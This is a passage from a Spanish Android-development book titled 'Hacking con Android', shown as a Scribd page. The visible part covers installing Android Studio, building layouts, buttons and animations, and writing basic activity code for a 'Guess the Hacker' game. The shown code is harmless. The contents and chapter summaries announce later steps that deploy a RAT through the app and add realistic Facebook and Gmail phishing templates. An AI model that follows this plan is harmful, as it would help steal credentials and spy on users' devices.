0% encontró este documento útil (0 votos)
55 vistas201 páginas

Untitled

Este documento proporciona instrucciones para instalar Android Studio 2.3.2 y desarrollar una aplicación móvil de seguridad. Explica cómo instalar Android Studio, crear una interfaz de usuario básica, agregar animaciones, comunicarse con la nube, desarrollar aplicaciones web para Android y usar redes sociales dentro de las aplicaciones. El objetivo final es crear una aplicación de adivinanzas que muestre vectores de ataque de seguridad como spyware y phishing.

Cargado por

jelsin sanchez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
55 vistas201 páginas

Untitled

Este documento proporciona instrucciones para instalar Android Studio 2.3.2 y desarrollar una aplicación móvil de seguridad. Explica cómo instalar Android Studio, crear una interfaz de usuario básica, agregar animaciones, comunicarse con la nube, desarrollar aplicaciones web para Android y usar redes sociales dentro de las aplicaciones. El objetivo final es crear una aplicación de adivinanzas que muestre vectores de ataque de seguridad como spyware y phishing.

Cargado por

jelsin sanchez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 201

1

2
HACKING CON ANDROID

3
TABLA DE CONTENIDOS
 Creación de una App enfocado a la seguridad………8
 Instalación del programa Android Studio 2.3.2………...11

Capítulo 1: Introducción a una App


 Versiones y herramientas dentro de Android Studio…..23
 Diseño de interfaces………………………………………….25
 Uso de botones, etiquetas, plantillas……………………...30
 Animaciones…………………………………………………...39
 Automatizado las animaciones…………………………….44
 Animaciones de propiedades……………………………...45
 Barras de acciones……………………………………………47

Capítulo 2: Diseño personalizado de vistas


 Conceptos básicos……………………………………………56
 Creación de atributos………………………………………...59
 Definición de características de Widgets…………………62
 Una vista creada desde cero……………………………….65
 Visualización de tamaños en Android……………………..70
Capítulo 3: Programación basada en eventos de
ejecución de usuario
 La interfaz de usuario de una aplicación Android……...88
 Estructura de la aplicación…………………………………..92
 Secuencia de operaciones………………………………….98
 Programación orientada a eventos………………………104
Capítulo 4: Comunicación con la nube
 Introducción de servicios en la nube……………………..116
 Ventajas y Desventajas……………………………………...119
 Servicios en la nube de google……………………………121

4
Capítulo 5: Aplicaciones Web en Android
 Como montar un Rat………………………………………...124
 Subir la app a la web………………………………………..126
 Descargar la app…………………………………………….139
Capítulo 6: Android en redes sociales
 Creación de plantillas……………………………………….142
 Uso de las redes sociales……………………………………161
 Diferencia en el desarrollo de aplicaciones Android con
iOS……………………………………………………………….164
 Android NDK…………………………………………………...170
 Aplicaciones web…………………………………………….177
 Seguridad dentro las Aplicaciones web…………………180
 Demostración de la Aplicación……………………………191

5
Introducción a Android
Es un sistema operativo basado en Linux que se caracteriza
por ser libre y multiplataforma.
Creado para dispositivos móviles permite el control de estos
por medio de librerías desarrolladas por Google en lenguaje
de programación Java.
En sus inicios Android fue adquirido por Google, quienes
continuaron desarrollando el sistema operativo hasta que se
unió al Open Handset Alliance, un conglomerado de 48
compañías de hardware, telecomunicaciones y software con
los que se acordó estandarizar los códigos abiertos para
dispositivos móviles.
Es por esta razón que Android es definido como un sistema
operativo de código abierto en donde cualquier
desarrollador puede crear aplicaciones en lenguajes diversos
para el API (Application programming interface) de Android.
Una de las claves de la popularidad de Android es que, como
Linux, es una plataforma de código abierto, lo que permite a
fabricantes, operadores y desarrolladores dar mayor
funcionalidad a sus Smartphone.
La técnica utilizada para el desarrollo del trabajo será la
recopilación de múltiples fuentes de información, de revista,
foros de opinión, libros sobre informática, todas ellas
relacionadas con el universo Android.

6
¿Por qué utilizar Android Studio 2.3.2?
Es un programa que te permite desollar aplicaciones móviles
para la plataforma de Android. El 16 de mayo del 2013 fue
anunciado por Google como la principal herramienta de
programación.
Está basado en el software IntelliJ IDEA de JetBrains, Se puede
correr en los sistemas operativos: Windows, Mac OS X y Linux.
Los requisitos que necesitamos para poder utilizar esta
herramienta son:
4 GB de RAM
400 Mb de espacio libre en el disco duro
1 GB para Android SDK
Java Development kit 7

7
Aplicaciones Móviles enfocadas a la
seguridad de informática:
En la actualidad la mayoría de las personas tiene acceso un
celular, el cual contiene distintas aplicaciones, mismas donde
existe una oportunidad de realizar diversos ataques con la
finalidad de vulnerar el dispositivo y por medio de estos
obtener datos.
Siendo Android un sistema de código libre, no se toma en
cuenta los riegos que contiene su uso, ya que con esto
algunos desarrolladores pueden ejecutar códigos maliciosos.
Atreves del presente libro desarrollaremos diversos ataques,
con la finalidad de obtener información que ayude lograr
nuestro objetivo.
Comenzaremos desde cero y poco a poco avanzando hasta
tener finalizada nuestra aplicación.
*
*
*
*
*
*
*
*
*
*
*
*
*

8
-- Aplicación Móvil --
Lo que se cubre en nuestro libro:
Capítulo 1: Introducción a una aplicación: En este capítulo
nos empezaremos adentrar a mundo de la programación
con las aplicaciones, la herramienta que emplearemos será
Android Studio, veremos algunos conceptos básicos como
emplear botones, etiquetas y plantillas, diseñáremos nuestra
interfaz desde cero, veremos el uso de las barras de acción lo
utieles que son, también veremos automatizado las
animaciones empleándolo en nuestra aplicación móvil.
Capítulo 2: Diseño personalizado de vista: En este capítulo
hablaremos de los conceptos más básicos al momento de
crear nuestras View, hablaremos sobre algunos de los archivos
que están en Android Studio, sus funcionalidades y como nos
ayudan al manejo de nuestra aplicación Android, definiremos
algunas caracterices que deberá tener una aplicación para
mayor comodidad del usuario, empezaremos a programar en
los archivos Java, así mismo veremos la creación de atributos.
Capítulo 3: Programación basada en eventos de ejecución
de usuario: En esta parte hablaremos de lo importante que
son las estructuras al momento de crear nuestra aplicación
desde cero a su vez tocaremos algunos conceptos muy
básicos dentro de la programación solo para recordar la
secuencia y como los podemos emplear. Veremos un poco
de la programación dirigida a eventos, tener una continuidad
de nuestra aplicación móvil, seguir con la creación de nuestra
aplicación móvil editando los archivos Java y relacionándolos
para que tenga una buena ejecución.
Capítulo 4: Comunicación en la nube: Este es uno de los
capítulos más actualizados ya que manejamos la tecnología
más reciente considero que es una buena opción el poder
subir tus archivos a servidores y poderlos usar donde sea y
donde sea, pero al hacer eso implica también riego, no
tenemos la certeza de que nuestros documentos están
protegidos al 100%, en la actualidad Google nos ofrece una

9
opción de manejar la nube, vincula con la cuenta Gmail, me
parece una opción importante.
Capítulo 5: Aplicaciones Web en Android: En este capítulo
hablaremos de una de las vulnerabilidades que tiene Android,
al ser código libre, implica menor seguridad y a su vez
muchas personas toman ventaja de ello, en esta sección
veremos que un rat, como lo podemos emplear, alguna de
sus funcionalidades, es uno de los vectores de ataque que se
verá en este libro, utilizando uno de los rat`s más actualizados.
Capítulo 6: Android en redes sociales: Para finalizar el libro
hablaremos en un segundo caso de vector de taque, que en
este caso serán las redes sociales, lo realizaremos mediante la
técnica de Spoofing, creando plantillas 100% reales y
funcionales, estas plantillas las introduciremos a nuestra
aplicación móvil, crearemos plantilla para Facebook y Gmail.

10
Proceso de instalación de Android Studio 2.3.2
El material será proporcionado por el equipo de Hacking
México, lo siguiente será ubicar nuestra herramienta, “Imagen
1.1”:

Imagen 1.1, Programa Android Studio

Le daremos doble clic y lo ejecutamos, una vez que nos


aparezca esta ventana de vamos a dar next, “Imagen 1.2”:

Imagen 1.2, Programa Android Studio

11
A continuación, aparecerá la siguiente ventana y lo vamos a
dejar tal y como está solo daremos next, “Imagen 1.3”:

Imagen 1.3, Instalación de Android Studio

Leemos los términos de condiciones y los aceptamos,


“Imagen 1.4”:

Imagen 1.4, Instalación de Android Studio

12
En la siguiente venta visualizaremos donde se a guardar el
programa si todo está en orden solo de damos next, “Imagen
1.5”:

Imagen 1.5, Instalación de Android Studio

Seguiremos y por ultimo nos mostrara algunos paquetes que


va instalar Android Studio le damos install, “Imagen 1.6”:

Imagen 1.6, Instalación de Android Studio

13
Y esperamos a que finalice el proceso de instalación,
“Imagen 1.7”:

Imagen 1.7, Instalación de Android Studio

Una vez que el programa termine de instalar todos los


paquetes nos parecerá una venta igual a esta, “Imagen 1.8”:

Imagen 1.8, Instalación de Android Studio

14
Le damos en el botón next para finalizar la instalación y por
ultimo nos parecerá esta ventana, “Imagen 1.9”:

Imagen 1.9, Instalación de Android Studio

Ya que tenemos Android Studio con los paquetes


correctamente instalados procedemos a realizar nuestra
aplicación, en este caso se mostrará los pasar para hacer un
Juego “Adivina Quien”, con la finalidad de mostrar diversos
vectores de ataque.
Vamos abrir un nuevo proyecto y vamos hacer los siguientes
pasos, nos dirigimos a Archivo, posterior mente a Nuevo y por
ultimo a Proyecto, “Imagen 1.10”:

Imagen 1.10, Nuevo proyecto

15
Comenzamos por crear un nuevo proyecto en mi caso se va
llamar aplicación ponemos el nombre y le vamos a dar en
next, “Imagen 1.11”:

Imagen 1.11, Nuevo proyecto

En la siguiente venta nos van aparecer las versiones de


Android con las que quieres que se realice tu aplicación en
nuestro caso vamos a poner las más actuales quedándonos
de tal forma, “Imagen 1.12”:

Imagen 1.12, Versiones de Android

16
Una vez que le demos en next nos aparecerán los siguientes
recuadros y aligeremos esta forma, “Imagen 1.13”:

Imagen 1.13, Formas de Android

Le damos un nombre a nuestro formato y por ultimo nos


quedara de esta forma lista para empezar a desarrollar
nuestra aplicación, “Imagen 1.14”:

Imagen 1.14, Proyecto listo para iniciar

17
¿Dónde se guardarán nuestros proyectos de Android Studio?
Nos dirigimos a el disco local C: que en mi caso es donde se
instaló el programa Android Studio y nos vamos a la carpeta
de Usuarios, “Imagen 1.15”:

Imagen 1.15, Carpeta de Usuarios

Entramos a la carpeta y nos mostrará todos los usuarios


disponibles en mi caso yo voy a entrar a mi usuario personal y
una vez que estoy dentro de esa carpeta se podrá observar
el programa Android Studio donde nos mostraran todos los
proyectos realizados, “Imagen 1.16”:

Imagen 1.16, Carpeta de proyectos

Entramos a la carpeta de AndroidStudioProjcts y podremos


ver todos los proyectos que se están realizando, “Imagen
1.17”:

Imagen 1.17, Carpeta de proyectos

18
Vamos a ver el caso cuando aún no tengas un emular en
Android Studio, ya que si no lo tienes no podrás correr tu
aplicación móvil y para esto el primero paso será el siguiente,
vamos a entrar a Android Studio y vamos a este icono:

Le vamos a dar clic y nos aparecerá una ventana como estas


y lo vamos a seleccionar la opción de Create Virtual Device:

Ahora nos va salir la siguiente venta, donde nos va a salir los


elementos donde podemos crear emuladores para TV, para
teléfonos y tablets:

19
Al momento de que le demos clic NEXT y vamos a continuar
con la siguiente parte de la creación del emulador:

Le vamos a dar en la opción de Marshmallow y le damos clic


en NEXT, ya casi finalizamos, por ultimo obtendremos la
ventana de detalles de nuestro móvil que elegimos:

Donde vamos a poner el nombre la posición que deseamos


nuestro emulador y si deseamos que los gráficos sean
automáticos lo dejamos de esa manera, ahora si queremos
con más detallas nuestro emulador le damos clic en la
ventana de Show Andvanced Settings:

20
En esta parte podemos tener más detallas como editar la
RAM, la memoria y con más funcionalidades.
Una vez que ya tengamos todos los datos de nuestro teléfono
como lo deseamos el siguiente paso será finalizar y con eso
ya obtendremos nuestro emulador:

Como es la primera vez de nuestro emulador al iniciarla


puede que tarde un poco, pero entre más pasa se tardara
menos, en arrancar.

21
Capítulo 1: Introducción
a una App

22
1.1.-Versiones y herramientas dentro de Android Studio
A lo largo del tiempo en los sistemas siempre surgen
actualizaciones con la finalidad de reparar los errores de los
anteriores.
Teniendo un mejor desempeño para los usuarios ya que es el
mismo caso para las aplicaciones y tal es caso de Android
estudio que tiene una opción que nos muestra todas las
versiones de Android que sean hecho hasta el momento.
Vamos a mostrar las versiones de Android, para que en
determinado momento si gustan cambiar la versión del
sistema, sepan cómo realizarlo, para ello ya debemos tener
un proyecto nuevo y nos vamos a dirigir a esta parte “donde
está el recuadro rojo”, “Imagen 1.18”:

Imagen 1.18, Versiones de Android

Y a continuación nos despliega todas las versiones de las


cuales nosotros podemos hacer nuestra aplicación en mi
caso tengo seleccionada la versión más actual que nos
ofrece Android Studio, “Imagen 1.19”:

Imagen 1.19, Versiones de Android

23
Pero nosotros vamos a realizar nuestra aplicación con la
versión más actual de Android.
Una vez que tengamos nuestra aplicación finalizada será
cuestión de cada uno si es que deseamos dar un
mantenimiento es decir nuevas actualizaciones para reforzar
nuestra aplicación e irle quitando poco a poco los errores
que se encuentren dentro de ella.
Dentro de Android Studio tiene diversas herramientas que a lo
largo que vallamos a desarrollando explicaremos su
funcionalidad y para que nos puede ser útil.

24
1.2.-Diseño de interfaces
Para poder comenzar primero es necesario aclarar ¿Que es
una interfaz?
Se conoce como “superficie de contacto” y se utiliza para
nombrar a la conexión funcional entre dos sistemas,
programas, dispositivos o componentes de cualquier tipo, que
proporciona una comunicación de distintos niveles
permitiendo el intercambio de información.
En la área de informática se conocen como interfaces de
usuario (entre computadora y persona) como sería una
pantalla o un ratón (si hablamos de hardware) o la ventana
gráfica de un programa con la que interactuamos.
Una vez ya tengas el proyecto creado comenzaremos con la
parte de principal de nuestra aplicación, esta parte va ser
nuestro menú principal, cuando una actividad ha de dibujar
su layout, en el sistema comienza por el nodo raíz del layout.
El primer paso que vamos a realizar es elegir una imagen en
mi caso como vamos a realizar un juego de ¿Adivina tu
Hacker?, la imagen que elegiré será esta “Imagen 1.20”:

Imagen 1.20, Imagen de fondo

25
Para poder poner nuestra imagen de fondo lo que vamos a
realizar es en la parte izquierda hay una opción que se
encuentra como proyect la desplegamos y dentro de ella
hay una opción que esta como app la desplegamos y nos
vamos a la parte donde dice “res” de igual forma
desplegamos y podemos observar hay diversas carpetas,
“Imagen 1.21”:

Imagen 1.21 Carpeta res

Una vez que tengamos ubicadas las carpetas y tengamos la


imagen que deseamos de fondo el siguiente paso será hacer
esta ruta nos vamos a carpeta drawable y le vamos a dar clic
derecho y vamos a buscar la opción Show in Explorer,
“Imagen 1.22”:

Imagen 1.22, Carpeta de drawable

26
Le damos clic y pode ver que hay otras carpetas por el
momento nos vamos a centrar en nuestra carpeta drawable,
“Imagen 1.23”:

Imagen 1.23, Carpeta de drawable

La abrimos y podemos observar que no hay nada dentro de


ella, así que vamos arrastrar la imagen de fondo que nosotros
hemos elegido, “Imagen 1.24”:

Imagen 1.24, Imagen de fondo

Una vez que realicemos esto nos dirigimos a Android Studio a


la carpeta de drawable la desplegamos y podemos ver que
nuestra imagen ya está arriba, “Imagen 1.25”:

Imagen 1.25, Imagen de fondo

27
Ahora nos vamos a dirigir a la parte derecha en properties y
buscamos la opción backgrour, “Imagen 1.26”:

Imagen 1.26, Properties

Nos posicionamos y se mostrar 3 puntitos de tal forma “…” le


damos clic y dentro de ahí vamos a seleccionar nuestra
imagen de fondo, “Imagen 1.27”:

Imagen 1.27, Backgrour

28
Ya que la tenemos seleccionada de damos en el botón de ok
y nos quedará de esta forma, “Imagen 1.28”:

Imagen 1.28, Imagen de fondo

¿Qué tanto influye la parte grafica de una app?


Las aplicaciones se plantean a partir de una serie de
requisitos funcionales, es importante tomar en cuenta una
aplicación funcional se vea atractiva visualmente para así
mismo atraer a los usuarios.
Lo primero es identificar el tipo de usuario que va utilizar
nuestra aplicación, identificar las características y añadir
algunas funcionalidades atractivas.
En nuestro caso estamos desarrollando una aplicación muy
sencilla, pero con muchos detalles.
Un diseño atractivo hace más interesante la aplicación al
usuario.

29
1.3.-Uso de botones, etiquetas, plantillas
Empezare por definir que es un botón y su finalidad dentro de
la aplicación:
Es una metáfora común, utilizada en interfaces gráficas con
objetivo similar al de un botón corriente. Los botones suelen
ser representados como rectángulos con una leyenda
o icono dentro, generalmente con efecto de relieve.
Los botones interactúan con los usuarios aprobando alguna
petición.

Imagen 1.29, Ejemplo de botón

Una etiqueta es un elemento de las interfaces gráficas que


muestran un texto estático generalmente es usado para
identificar otros elementos widgets. Estos elementos no tienen
ningún tipo de interacción con el usuario.

Imagen 1.30, Ejemplo de una etiqueta

30
Una platilla o dispositivo de interfaz, suele proporcionar una
separación entre la forma o estructura y el contenido. Es un
medio o aparato o sistema, que permite guiar, portar, o
construir, un diseño o esquema predefinido.
Una plantilla agiliza el trabajo de reproducción o de muchas
copias idénticas o casi idénticas (que no tiene que ser tan
elaborado, sofisticado o personal). Si se quiere un trabajo más
refinado, más creativo, la plantilla no es sino un punto de
partida, un ejemplo, una idea aproximada de lo que se
quiere hacer.
Las plantillas, como norma general, pueden ser utilizadas por
personas o por sistemas automatizados. Se utilizan plantillas en
todos los terrenos de la industria y la tecnología. Una plantilla
puede servir como muestra base de una diversidad sobre la
que comparten elementos comunes (patrón) y que en sí es lo
que constituye la plantilla.

Imagen 1.31, Ejemplo de plantillas

31
Ahora que tenemos algunos conceptos claros lo que vamos
hacer dentro de nuestra aplicación será dirigirnos a la parte
de Widgets y vamos a elegir un TextView, “Imagen 1.32”:

Imagen 1.32, Opción TextView

Y de igual forma agregaremos dos Button, “Imagen 1.33”:

Imagen 1.33, Opción Button

Una vez que ya agregamos los elementos nos vamos a dirigir


a values y luego strings, “Imagen 1.34”:

Imagen 1.34, Carpeta Values

32
La desplegamos y nos dirigirá directo al código donde
cambiaremos los nombres de nuestro TextView y del Button,
“Imagen 1.35”;

Imagen 1.35, Código

Y después cambiaremos el nombre los botones de la siguiente


forma, seleccionamos el botón y en properties donde dice
text seguimos los 3 puntitos “…” lo abrimos y buscamos el
nombre que realizamos en strings en este caso mi primer
botón será el de registro, “Imagen 1.36”:

Imagen 1.36, Cambio de nombre

33
Una vez que cambiemos el nombre de los botones nos
quedara de tal forma: “Imagen 1.37”:

Imagen 1.37, Cambio de nombre

Esto es la primera parte de nuestra aplicación es nuestra


portada de cómo se verá ya sea en los teléfonos celulares
con sistema operativo Android o Tablet.
Como veremos empezamos con el uso de botones y
etiquetas que a lo largo del desarrollo de la aplicación
veremos la utilidad de estos.

Recomendación:
Es muy importante que vallamos checando que nuestra
aplicación no tenga errores si no al momento de correrla no
va jalar y para encontrar el error va ser un poco complicado.
Sigan los pasosos tal cual como están.
Para ver si nuestra aplicación contiene errores o no es, en la
parte media arriba de donde se ve nuestra aplicación a lado
de donde está el zoom, “Imagen 1.36”:

34
Imagen 1.36, Errores en la aplicación

Ahora en el siguiente paso vamos a empezar a desarrollar el


juego y para esto vamos a seguir la siente ruta en la parte
izquierda vamos a encontrar nuestro proyecto y vamos a la
carpeta de Layout, “Imagen 1.37”:

Imagen 1.37, Carpeta Layout

35
Una vez que estemos en la carpeta daremos doble clic y nos
aparecerá en menú de opciones la cual le daremos en New
y después en Layout resource file, “Imagen 1.38”:

Imagen 1.38. Ruta

Le damos clic en Layout resource file y nos aparecerá una


venta pidiendo el nombre de la nueva plantilla que vamos a
desarrollar en mi caso se va llamar activity_jugar, una vez
terminado solo se le dará ok “Imagen 1.39”:

Imagen 1.39, Nueva ventana

36
Y obtendremos una venta nueva, “Imagen 1.40”

Imagen 1.40, Nueva ventana

Ahora en mi siguiente venta no pondré imagen de fondo,


para que se puedan visualizar las demás imágenes para el
¿Adivina quién?, y para ello me voy a la parte derecha en
propiedades y después a View all properties, “Imagen 1.41”:

Imagen 1.41, Cambio de fondo

37
Una vez nos abrirá todo el contendió que podemos realzar,
pero en este caso nos vamos a dirigir a backgroud y le
daremos en los 3 puntitos, “Imagen 1.42”:

Imagen 1.41, Cambio de fondo

Después nos dará una venta con la gama de colores que nos
ofrecen ya no es necesario buscar los colores en HTML
automáticamente el programa ya teda el número que le
corresponde al color, “Imagen 1.43”:

Imagen 1.42, Fondo

38
La nueva venta nos quedara de esta nueva forma, “Imagen
1.43”:

Imagen 1.43, Fondo

1.4.-Animaciones
Es el proceso de cambiar propiedades de un objeto como el
tamaño, la forma o el color en un intervalo de tiempo de
tal manera que el cambio parezca continuo.

En las aplicaciones móviles las animaciones permiten


enriquecer la interacción del usuario con la aplicación. Una
animación puede por ejemplo ayudar al usuario a entender
el funcionamiento de la aplicación o simplemente optimizar
el uso del espacio.

Elementos de una animación:


Para definir una animación en Android se especifica una
propiedad a cambiar como la posición, el tamaño de letra o
la transparencia de un objeto, un valor inicial, un valor final y
un tiempo de animación y un método de interpolación.

39
El método de interpolación determinara la función
matemática utilizada para variar la propiedad entre los
valores inicial y final.
También llamada animación digital, animación
informática o animación por ordenador: es la técnica que
consiste en crear imágenes en movimiento mediante el uso
de una computadora. Cada vez más los gráficos creados son
en 3D, aunque los gráficos en 2D todavía se siguen usando
ampliamente para conexiones lentas y aplicaciones en
tiempo real.
Algunas veces el objetivo de la animación es
la computación en sí misma, otra puede ser otro medio,
como los diagramas de infografía o una película. Los diseños
se elaboran con la ayuda de programas de diseño,
modelado.
Android tiene algunos métodos de interpolación definidos es
posible crear personalizados.
También es posible encadenar múltiples animaciones usando
la propiedad android:startOffset para ejecutarlas en un orden
especifico.

View Animations:
Las animaciones de vista son transformaciones donde se
especifica la propiedad a cambiar y un intervalo de tiempo y
Android se encargará de interpolar la variable en los rangos
especificados.
La animación se define un xml especificando la propiedades
y valores de configuración. Pueden definirse cuatro tipos
diferentes de transformaciones
(<alpha>, <scale>, <translate>, <rotate>).
Las animaciones de vista se declaran en la carpeta de
recursos Anim.
Para animar un objeto
usamos AnimationUtils.loadAnimation que carga la definición
(xml) de la configuración de la animación, e iniciamos su
ejecución en el componente deseado.

40
Lo interesante de la programación es que podemos darle
movimiento con solo programar los objetos que veremos
algunos ejemplos y también como es muy importante este
concepto dentro de nuestra apelación.
A continuación, mostraré un ejemplo de cómo podemos
aplicar las animaciones en el medio de la programación:
 Programa moviendo un circulo izquierda-> derecha
import Graphics.Gloss

main :: IO ()
main = animate (InWindow "Moviendo un circulo" (500,500)
(20,20))
green animacion

animacion :: Float -> Picture


animacion t = translate (50 * t) 0 (color red (circleSolid 25))

Segundo ejemplo, para este ejemplo es necesario tener en


cuenta lo siguiente:
 Giro del minutero:
 360º ~ 1 hora = 60 minutos = 3.600 segundos
 1 minuto ~ (360/3.600)º = 0.1º
 Giro del segundero:
 360º ~ 1 minuto = 60 segundos
 1 segundo ~ (360/60)º = 6º

 Programa reloj
import Graphics.Gloss

main :: IO ()
main = animate (InWindow "Reloj" (500,500) (20,20)) green
animacion

animacion :: Float -> Picture


animacion t = reloj t

reloj t = pictures [ fondo,


minutero t,
segundero t ]

fondo = color (dark white) (circleSolid 250)

minutero t = rotate (0.1 * t) (line [(0,0), (0,250)])

41
Ahora vamos a inserta un TextView para poner el número de
intento que lleva el participante, “Imagen 1.44”:

Imagen 1.44, Tablero de intentos

Ahora vamos agregar un ImageView, es para que se puedan


visualizar todas las imágenes de los Hackers posibles de
adivinar, “Imagen 1.45”:

Imagen 1.45, Imágenes de los Hackers

Al momento de seleccionar ImageView, nos aparecerán


opciones de imágenes y solo buscaremos ic_menu_gallery y
de daremos clic para continuar, “Imagen 1.46”:

Imagen 1.46, ic_menu_gallery

42
En el siguiente paso agregaremos un LinearLayout y adentro
de este agregaremos un TextView y un Button, “Imágenes 1.47
y 1.48”:

Imagen 1.47, LinearLayout

Imagen 1.48, TextView y Button

Sin editar nos quedaría de esta forma, “Imagen 1.49”:

Imagen 1.49, Segunda Ventana

43
1.5.- Automatizado las animaciones
Las visualizaciones han sido siempre consideradas como un
elemento de interés para el aprendizaje de la algoritmia. Por
su parte, las visualizaciones animadas permiten dar un salto
hacia adelante frente a representaciones estáticas al suponer
una fuente de información más completa, que permite ver de
una forma clara el transcurso de la ejecución de los
algoritmos.
Es importante mencionar que diseñáramos lo mejor posible,
estos son algunos conceptos básicos que con el paso del
tiempo iremos mejorando, un ejemplo de estas animaciones
automatizadas son los video juegos para tener un mejor
diseño de visualización.
Y para esto en la actualidad hay muchos programas que son
de gran utilidad en cuestión al diseño por computadora,
desde lo más básico hasta lo más complejo.

44
1.6.- Animaciones de propiedades
A partir de la versión 3.0 de Android se han incorporado un
nuevo tipo de animaciones.
A diferencia de las animaciones Tween que solo es
aplicable a vistas, una animación de propiedades puede
animar cualquier tipo de objetos.
Además, no está restringido a las cuatro transformaciones
antes vistas, podemos animar cualquier propiedad del
objeto.
Por ejemplo, podemos hacer una animación que cambie
progresivamente el color de fondo de una vista.
Otra diferencia con respecto a las animaciones Tween, es
que estas solo modifican la forma en que la vista es
representada, pero no sus propiedades.
Si aplicas una animación Tween para que un texto se
desplace por la pantalla, se visualizará correctamente,
pero al acabar la animación el texto estará en el lugar
inicial. Lo que te obligará a implementar tu propia lógica
para manejar este cambio de posición.
En una animación de propiedades estará cambiando el
objeto en sí, no solamente cómo se representa.

Desventajas de las animaciones Tween:

 Solo podemos animar objetos de la clase View.

 Está limitado a estas cuatro transformaciones y no puede


aplicarse a otros aspectos como cambiar el color de fondo.

45
Ahora vamos a crear una tercera venta que se llame créditos,
con el mismo fondo azul, donde vamos a poner por quien fue
desarrollado y un poco sobre las instrucciones del juego.

Quedándonos de tal forma, “Imagen 1.50”:

Imagen 1.50, Instrucciones y Autor

Recopilando lo que ya llevamos hecho, solo es parte grafica


de cómo se verá en nuestro dispositivo móvil, con el paso del
desarrollo iremos implementando detalles para que luzca
mejor nuestra aplicación.
Vemos que el uso de botos y etiquetas son indispensables
para nuestra aplicación en esta nueva etapa aumentamos el
cambio de fondos y de imágenes.

46
1.7.-Barras de Acciones
Es un elemento dedicado, que muestra el estado o ubicación
actual dentro de la aplicación y por lo general siempre está
visible en todas las actividades de la aplicación.

Proporciona varias funciones:


Realizar acciones importantes de una forma accesible y
predecible “Puede ser Nuevo o Buscar”.
Facilitar una navegación consistente al cambiar de vista
dentro de las aplicaciones.
Reducir desorden proporcionando una zona de donde
ubicar acciones que raramente se usan.
Proporcionar un espacio dedicado para que tenga una
identidad propia la aplicación.
Es importante tener en cuenta la barra de acción es uno de
los elementos más importantes que se pueden implementar
dentro de la app.
Con el objetivo de conseguir una interfaz consistente en la
aplicación, basada en el núcleo de las aplicaciones de
Android.

47
Las barras de acciones se dividen en 4 áreas fundamentales:

Icono de la Aplicación:
Establece a identidad de la app. Puede ser reemplazado con
un logotipo.
Recomendación: Si en la aplicación no se muestra
actualmente en la parte superior del emulador, hay que
asegurarnos de que se muestre el botón subir “Signo de
intercalación”, a la izquierda del icono para que los usuarios
puedan navegar escalando posiciones en la jerarquía de la
aplicación.

Control de vista:
Si tu aplicación muestra información en diferentes vistas, esta
parte de barras de acción te permitirá cambiar entra vistas,
como ejemplo los cambios de vista son los menús
descendentes.
Botones de acción:
Muestra las acciones más importantes en la aplicación, las
acciones que no quepan en las barras de acción se moverán
al menú overflow de acciones.
Un toque de presión larga sobre un icono muestra el nombre
de la acción.

48
Menú overflow de acciones:
Mueve las acciones que suelen utilizarse menos a este menú.
Consideraciones de las disposiciones de las barras de
acciones divididas:
Cuando divides el contenido en varias barras de acciones,
generalmente hay tres posibles ubicaciones para el
contenido de la action bar.
1. Action bar principal.
2. Barra superior.
3. Barra inferior.

Si el usuario al navegar puede ascender en la jerarquía desde


una pantalla, la action bar principal debe contener el icono
de “Subir, signo de intercalaciones”.
Para permitir al usuario navegar rápidamente entre las vistas
que tu aplicación proporcionara, el uso de pestañas o menús
en la barra superior.
Para mostrar las acciones es necesario el menú de
desbordamiento de acciones, se utiliza una barra inferior.

49
Ahora el siguiente paso va ser crear los archivos java y la ruta
que vamos a seguir para ello es la siguiente: Vamos a la
carpeta Java del lado izquierdo, “Imagen 1.51”:

Imagen 1.51, Carpeta java

Y vamos a crear las 2 clases de las 2 ventanas que ya


tenemos realizadas.
En la carpeta Java, daremos clic derecho y nos iremos a New
y posterior mente a Java Class, “Imagen 1.52”:

Imagen 1.52, Java Class

Aparecerá una venta que indiqué cuál es el nombre que


vamos a poner en esa clase de java en mi caso será Principal,
“Imagen 1.53”:

Imagen 1.53, Java Class

50
Que nos aparecerá una venta como esta, donde ya
empezaremos a desarrollar, “Imagen 1.54”:

Imagen 1.54, Java Class “Principal”

Y así para la otra ventana que ya teníamos creadas en mi


caso le voy a poner creador, “Imagen 1.54”:

Imagen 1.54, Java Class “Creador”

Una vez que tenemos credo el Java Class en la venta


“Principal” pondremos las siguientes líneas es muy importante
que se anoten tal y como están respetando puntos y comas,
llaves, “Tal y como está el código”:
package com.example.monseortiz.appli;

import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.Window;

/**
* Created by Monse Ortiz on 10/07/2017.
*/

public class Principal extends ActionBarActivity {


@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_jugar);
}
}

51
Y de igual forma para el Java Class, “creador”, “Tal y como
está el código”:
package com.example.monseortiz.appli;

import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.Window;

/**
* Created by Monse Ortiz on 10/07/2017.
*/

public class Creador extends ActionBarActivity {


@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_creditos);
}
}

Ahora en la parte izquierda nos dirigiremos a


AndroidManifest.xml para agregar los dos Activity ya
realizados, “Imagen 1.55”:

Imagen 1.55, Modificación de Activity

52
Lo que tenemos en AndroidManifest.xml, “Imagen 1.56”:

Imagen 1.56, Activity de Appli

Como podemos observar en la Imagen 1.56 e el Activity de


Appli solo hay que agregar dos más que son el de Principal y
Creador quedando de tal forma:
<activity
android:name=".Principal"
android:label="@string/app_name"
android:theme="@style/AppTheme.NoActionBar">
</activity>

<activity
android:name=".Creador"
android:label="@string/app_name"
android:theme="@style/AppTheme.NoActionBar">
</activity>

53
De esta forma nos quedaría el AndroidManifest.xml y el
síguete paso sería programar los botones en Appli para que
tome en cuenta las ventanas que ya diseñamos antes que
son Principal y Creador, “Tal y como está el código”:

public class Appli extends AppCompatActivity {

private Button Principal, Creador;


@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
